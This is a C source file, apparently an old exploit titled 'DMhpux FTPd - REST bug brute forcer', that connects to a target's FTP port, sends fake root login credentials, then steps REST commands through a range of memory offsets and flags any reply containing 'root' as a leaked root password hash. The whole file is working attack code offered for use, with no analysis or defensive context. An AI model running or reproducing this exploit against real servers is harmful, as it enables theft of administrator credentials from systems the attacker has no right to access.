#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <stdio.h>

#include <unistd.h>



int main (int argc, char *argv[]) {



  int sock, rc;

  long int i;

  struct sockaddr_in saddr;

  struct hostent *h;

  char buf[256];



  printf("DMhpux FTPd - REST bug brute forcer\n");

  printf("by phased\n");



  if(argc < 2) {

    printf("usage: %s <host> -- simple enough?\n",argv[0]);

    exit(1);

  }

  h = gethostbyname(argv[1]);

  if(h==NULL) {

    printf("%s: unknown host '%s'\n",argv[0],argv[1]);

    exit(1);

  }



  saddr.sin_family = h->h_addrtype;

  memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

  saddr.sin_port = htons(21);



  sock = socket(AF_INET, SOCK_STREAM, 0);

  if(sock<0) {

    perror("cannot open socket ");

    exit(1);

  }



  rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));

  if(rc<0) {

    perror("cannot connect ");

    exit(1);

  }



  printf("Sending false login credentials\n");

 snprintf(buf, sizeof(buf), "USER root\r\n");

  printf("sending %s\n", buf);

  rc = send(sock, buf, strlen(buf), 0);

  if(rc<0) {

        perror("cannot send data ");

        close(sock);

        exit(0);

  }

  dorecv(sock);

    usleep(1000);

  memset(buf, 0, sizeof(buf));

  snprintf(buf, sizeof(buf), "PASS foo\r\n");

  printf("sending %s\n", buf);

  rc = send(sock, buf, strlen(buf), 0);

usleep(1000);

  dorecv(sock);

  dorecv(sock);



  for(i=1073931080;i<=1073945000;i = i+10) {

        snprintf(buf, sizeof(buf), "REST %d\r\n", i);

        printf("sending %s\n", buf);

        send(sock, buf, strlen(buf), 0);

        dorecv(sock);

 }





return 0;



}



int dorecv(int sock) {

char buf[256];

char *check;



memset(buf, 0, sizeof(buf));

recv(sock, buf, sizeof(buf), 0);

printf("got: %s\n", buf);

check = (char *)strstr(buf, "root");

if(check != NULL) {

        printf("Got root hash\n");

}



}